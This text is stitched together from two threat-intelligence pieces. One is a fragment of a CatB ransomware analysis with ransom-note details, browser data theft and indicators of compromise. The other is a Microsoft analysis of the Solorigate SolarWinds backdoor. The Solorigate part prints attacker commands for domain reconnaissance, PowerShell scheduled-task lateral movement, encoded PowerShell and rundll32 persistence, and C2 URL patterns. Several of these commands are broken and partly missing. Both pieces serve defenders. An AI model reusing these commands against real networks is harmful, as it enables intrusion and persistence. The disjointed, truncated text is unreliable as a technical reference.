The ransom price is set to increase each day for five days and, following the fifth day, there will be “permanent data loss” if the victim does not comply.


Based on observations, there is no evidence to indicate that CatB operators are generating payment wallets for each victim as the Bitcoin address provided is not unique to each sample.


Generation of unique key file A key file is deposited onto each infected host in c:\users\public\. This file must be included in email correspondence with the attackers as it is, ideally, a unique identifier for each victim or host.


Key file dropped for each victim Example CatB ‘key’ file Credential and Browser Data Theft


In addition to file encryption and obfuscation, the CatB malware will attempt to gather specific, sensitive information from targeted systems.


This includes browser session and credential data.


The ransomware contains functionality to discover and extract user data from Mozilla Firefox, Google Chrome, Microsoft Edge as well as Internet Explorer.


Data extracted from browsers includes bookmarks, blocklists, crash logs, history, user profile data, autofill data, environmental settings, browser session keys, and more.


This later changes to the catB9991 protonmail address mentioned above.


This is the only difference with regards to the ransom notes.


Other details such as payment-per-day breakdowns and the BTC payment address are identical.


Alternate ransom note (fisha001)


Notes that are missing the key submission feature suggest that they are artifacts of an earlier ‘test’ version of the ransomware.


BTC Payment / Blockchain Status As the time of writing, the BTC address associated with CatB ransomware have zero transactions and a zero balance.


BTC Balance for Wallet – bc1qakuel0s4nyge9rxjylsqdxnn9nvyhc2z6k27gz Conclusion CatB joins a long line of ransomware families that embrace semi-novel techniques and atypical behaviors such as appending notes to the head of files.


For example, many environments rely solely on the appearance of ransom notes to alert them to the potential of a ransomware outbreak.


SentinelOne Singularity fully prevents and protects customers against malicious behaviors associated with CatB Ransomware. Indicators of Compromise SHA1 CatB Samples 1028a0e6cecb8cfc4513abdbe3b9d948cf7a5567 8c11109da1d7b9d3e0e173fd24eb4b7462073174 951e603af10ec366ef0f258bf8d912efedbb5a4b (early version note example) db99fc79a64873bef25998681392ac9be2c1c99c dd3d62a6604f28ebeeec36baa843112df80b0933 Email addresses catB9991[at]protonmail[.]com fishA001[at]protonmail[.]com BTC Wallets bc1qakuel0s4nyge9rxjylsqdxnn9nvyhc2z6k27gz


We, along with the security industry and our partners, continue to investigate the extent of the Solorigate attack.

Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers


While investigations are underway, we want to provide the defender community with intelligence to understand the scope, impact, remediation guidance, and product detections and protections we have built in as a result.


While the full extent of the compromise is still being investigated by the security industry as a whole, in this blog we are sharing insights into the compromised SolarWinds Orion Platform DLL that led to this sophisticated attack.


The discreet malicious codes inserted into the DLL called a backdoor composed of almost 4,000 lines of code that allowed the threat actor behind the attack to operate unfettered in compromised networks.


The fact that the compromised file is digitally signed suggests the attackers were able to access the company’s software development or distribution pipeline.


Evidence suggests that as early as October 2019, these attackers have been testing their ability to insert code by adding empty classes.


As a result, the DLL containing the malicious code is also digitally signed, which enhances its ability to run privileged actions—and keep a low profile.


In many of their actions, the attackers took steps to maintain a low profile.


The class contains all the backdoor capabilities, comprising 13 subclasses and 16 methods, with strings obfuscated to further hide malicious code.


Once loaded, the backdoor goes through an extensive list of checks to make sure it’s running in an actual enterprise network and not on an analyst’s machines.


It then contacts a command-and-control (C2) server using a subdomain generated partly from information gathered from the affected device, which means a unique subdomain for each affected domain.


This is another way the attackers try to evade detection.


With a lengthy list of functions and capabilities, this backdoor allows hands-on-keyboard attackers to perform a wide range of actions.


As we’ve seen in past human-operated attacks, once operating inside a network, adversaries can perform reconnaissance on the network, elevate privileges, and move laterally.


Attackers progressively move across the network until they can achieve their goal, whether that’s cyberespionage or financial gain.


The challenge in detecting these kinds of attacks means organizations should focus on solutions that can look at different facets of network operations to detect ongoing attacks already inside the network, in addition to strong preventative protection.


We have previously provided guidance and remediation steps to help ensure that customers are empowered to address this threat.


In this blog, we’ll share our in-depth analysis of the backdoor’s behavior and functions, and show why it represents a high risk for business environments.


We’ll also share details of the comprehensive endpoint protection provided by Microsoft Defender for Endpoint.


In another blog, we discuss protections across the broader Microsoft 365 Defender, which integrates signals from endpoints with other domains – identities, data, cloud – to provide coordinated detection, investigation, and remediation capabilities.


Read: Using Microsoft 365 Defender to protect against Solorigate.


The attackers had to find a suitable place in this DLL component to insert their code.


Ideally, they would choose a place in a method that gets invoked periodically, ensuring both execution and persistence, so that the malicious code is guaranteed to be always up and running.


Such a suitable location turns out to be a method named RefreshInternal.


Figure 2: The method infected with the bootstrapper for the backdoor Figure 3: What the original method looks like The modification to this function is very lightweight and could be easily overlooked—all it does is to execute the method OrionImprovementBusinessLayer.


Initialize within a parallel thread, so that the normal execution flow of RefreshInternal is not altered.


Why was this method chosen rather than other ones?


A quick look at the architecture of this DLL shows that RefreshInternal is part of the class SolarWinds.


Orion.


BusinessLayer.


InventoryManager and is invoked by a sequence of methods that can be traced back to the CoreBusinessLayerPlugin class.


The purpose of this class, which initiates its execution with a method named Start (likely at an early stage when the DLL is loaded), is to initialize various other components and schedule the execution of several tasks.


Its name blends in with the rest of the legitimate code.


The threat actors were savvy enough to avoid give-away terminology like “backdoor”, “keylogger”, etc., and instead opted for a more neutral jargon.


To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead.


It carries out several checks to verify that it is running in a real victim’s environment: It verifies that the process hosting the malicious DLL is named solarwinds.businesslayerhost.exe


It checks that the status of certain services belonging to security-related software meets certain conditions (e.g., windefend, sense, cavp)


It checks that the host “api.solarwinds.com” resolves to an expected IP address If any of these checks fail, the backdoor terminates.


All these inspections are carried out to avoid exposing the malicious functionality to unwanted environments, such as test networks or machines belonging to SolarWinds.


The backdoor After the extensive validation described above, the backdoor enters its main execution stage.


At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information.


The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc., effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary.


Here’s an example of a generated domain: Figure 6: Dynamically generated C2 domain The dynamically generated portion of the domain is the interesting part.


Like the domain, the URI is composed using a set of hardcoded keywords and paths, which are chosen partly at random and partly based on the type of HTTP request that is being sent out.


Possible URIs that can be generated follow these formats: pki/crl/<random components>.crl, where <random components> can be numbers and one of the following strings: “-root” “-cert” “-universal_ca” “-ca” “-primary_ca” “-timestamp” “-global” “-secureca” fonts/


woff/<random components>-webfont<random component>.woff2 or fonts/woff/<random components>.woff2, where the <random components> can be numbers and one or more of the following strings: “Bold” “BoldItalic” “ExtraBold” “ExtraBoldItalic” “Italic”, “Light” “LightItalic” “Regular” “SemiBold” “SemiBoldItalic” “opensans” “noto” “freefont” “SourceCodePro” “SourceSerifPro” “SourceHanSans” “SourceHanSerif” swip/upd/<random components>, where <random components> can be one or more of the following strings: “SolarWinds” “.CortexPlugin” “.Orion” “Wireless” “UI” “Widgets” “NPM” “Apollo” “CloudMonitoring” “Nodes”, “Volumes”, “Interfaces”, “Components” swip/Upload.ashx swip/Events Here are examples of final URLs generated by the backdoor: hxxps://3mu76044hgf7shjf[.]appsync-api[.]eu-west-1[.]avsvmcloud[.]com /swip/upd/Orion[.]Wireless[.]xml hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-2[.]avsvmcloud[.]com /pki/crl/492-ca[.]crl hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-1[.]avsvmcloud[.]com /fonts/woff/6047-freefont-ExtraBold[.]woff2 Finally, the backdoor composes a JSON document into which it adds the unique user ID described earlier, a session ID, and a set of other non-relevant data fields.


The C2 might also respond with information about an additional C2 address to report to.


The backdoor accepts the following commands: Idle Exit SetTime CollectSystemDescription UploadSystemDescription RunTask GetProcessByDescription KillTask GetFileSystemEntries WriteFile FileExists DeleteFile GetFileHash ReadRegistryValue SetRegistryValue DeleteRegistryValue GetRegistrySubKeyAndValueNames Reboot None In a nutshell, these commands allow the attackers to run, stop, and enumerate processes; read, write, and enumerate files and registry keys; collect and upload information about the device; and restart the device, wait, or exit.


The command CollectSystemDescription retrieves the following information: Local Computer Domain name Administrator Account SID HostName Username OS Version System Directory Device uptime Information about the network interfaces Resulting hands-on-keyboard attack Once backdoor access is obtained, the attackers follow the standard playbook of privilege escalation exploration, credential theft, and lateral movement hunting for high-value accounts and assets.


To avoid detection, attackers renamed Windows administrative tools like adfind.exe which were then used for domain enumeration.


csrss.exe -h breached.contoso.com -f


objectcategory=* > .\Mod\mod1.log Lateral movement was observed via PowerShell remote task creation, as detailed by FireEye and Volexity: $scheduler = New-Object -ComObject (“Schedule.


Service”);$scheduler.


Connect($env:


COMPUTERNAME);$folder = $scheduler.


GetFolder(“\Microsoft\Windows\SoftwareProtectionPlatform”);$task = $folder.


GetTask(“EventCacheManager”);$definition = $task.


Definition;$definition.


ExecutionTimeLimit = “PT0S”;$folder.


Name,$definition,6,”System”,$null,5);echo “Done” C:\Windows\system32\cmd.exe /C schtasks /create /F


/tn “\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager” /tr


[machine_name] Persistence is achieved via backdoors deployed via various techniques:


PowerShell: Powershell -nop -exec bypass -EncodedCommand The –EncodedCommand, once decoded, would resemble: Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName


WORKSTATION Rundll32: C:\Windows\System32\rundll32.exe C:\Windows\Microsoft.


file], [various exports] With Rundll32, each compromised device receives a unique binary hash, unique local filesystem path, pseudo-unique export, and unique C2 domain.


The Solorigate incident is a grave reminder that these kinds of attacks can achieve the harmful combination of widespread impact and deep consequences for successfully compromised networks.


We continue to urge customers to: Isolate and investigate devices where these malicious binaries have been detected Identify accounts that have been used on the affected device and consider them compromised Investigate how those endpoints might have been compromised Investigate the timeline of device compromise for indications of lateral movement Hardening networks by reducing attack surfaces and building strong preventative protection are baseline requirements for defending organizations.


Microsoft Defender for Endpoint has comprehensive detection coverage across the Solorigate attack chain.


Microsoft 365 Defender provides visibility beyond endpoints by consolidating threat data from across domains – identities, data, cloud apps, as well as endpoints – delivering coordinated defense against this threat.


This cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively resolve whole attack chains.


BR!dha Detection for Cobalt Strike fragments in process memory and stops the process: Trojan:Win32/Solorigate.A!dha Behavior:Win32/Solorigate.A!dha Detection for the second-stage payload, a cobalt strike beacon that might connect to infinitysoftwares[.]com.


Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate threat activity on your network: SolarWinds Malicious binaries associated with a supply chain attack SolarWinds Compromised binaries associated with a supply chain attack Network traffic to domains associated with a supply chain attack Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate the possibility that the threat activity in this report occurred or might occur later.


These alerts can also be associated with other malicious threats.


ADFS private key extraction attempt Masquerading Active Directory exploration tool Suspicious mailbox export or access modification Possible attempt to access ADFS key material Suspicious ADFS adapter process created Figure 10.


Microsoft Defender for Endpoint detections of suspicious LDAP query being launched and attempted ADFS private key extraction Figure 11.


Careful monitoring by experts is critical in this case because we’re dealing with a highly motivated and highly sophisticated threat actor.


In the same way that our products integrate with each other to consolidate and correlate signals, security experts and threat researchers across Microsoft are working together to address this advanced attack and ensure our customers are protected.


Threat analytics reports provide technical information, detection details, and recommended mitigations designed to empower defenders to understand attacks, assess its impact, and review defenses. Figure 12.


Threat analytics report on the Solorigate attack Advanced hunting Microsoft 365 Defender and Microsoft Defender for Endpoint customers can run advanced hunting queries to hunt for similar TTPs used in this attack.